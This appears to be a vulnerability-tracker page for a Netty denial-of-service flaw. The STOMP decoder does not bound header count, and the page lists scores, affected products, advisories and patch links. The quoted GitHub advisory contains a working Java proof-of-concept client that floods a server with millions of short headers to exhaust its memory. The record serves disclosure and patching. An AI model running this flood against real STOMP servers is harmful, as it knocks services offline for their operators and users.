CVE-2026-44891
highpriority · track · 0EPSS 0.007 · 54 %ileDEEUUSEPSS · scored 2026-10-22
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (16)
Products and version ranges known to be affected.
- IBM App Connect Enterprise for Manufactoringall versionscert_bundDEcpe:/a:ibm:app_connect_enterprise:for_manufactoring
- Maven io.netty:netty-codec-stomp4.2.0.Alpha1 → 4.2.16.FinalosvUSpkg:maven/io.netty/netty-codec-stomp
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2356Netty: Mehrere SchwachstellenDeutsch2026-07-14csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsprüfungen zu umgehen, Anfragen oder Header zu manipulieren, Zertifikatsprüfungen zu unterlaufen sowie einen Denial of Service zu verursachen.
- GHSA-vhch-2wf3-m8rpNetty: Denial of Service via Unbounded Headers in StompSubframeDecoder2026-07-14ghsa · osvUS
### Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service. ### Details `io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError. ### PoC Run the server with `-Xmx256m` ```java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } } ``` ```java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStream out = socket.getOutputStream(); out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8)); StringBuilder sb = new StringBuilder(); for (int i = 0; i < 1000; i++) { sb.append("a:1\n"); } byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8); for (int i = 1; i <= 50_000; i++) { out.write(bulkHeaders); } } catch (Exception e) { e.printStackTrace(); } } } ``` ### Impact Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (21)
External citations — patches, advisories, analysis.
- https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bcnnvd
- https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6cnnvd
- https://github.com/netty/netty/pull/17063cnnvd
- https://github.com/netty/netty/pull/17065cnnvd
- https://github.com/netty/netty/releases/tag/netty-4.1.136.Finalcnnvd
- https://github.com/netty/netty/releases/tag/netty-4.2.16.Finalcnnvd
- https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rpcnnvd
- https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003benisa_euvd
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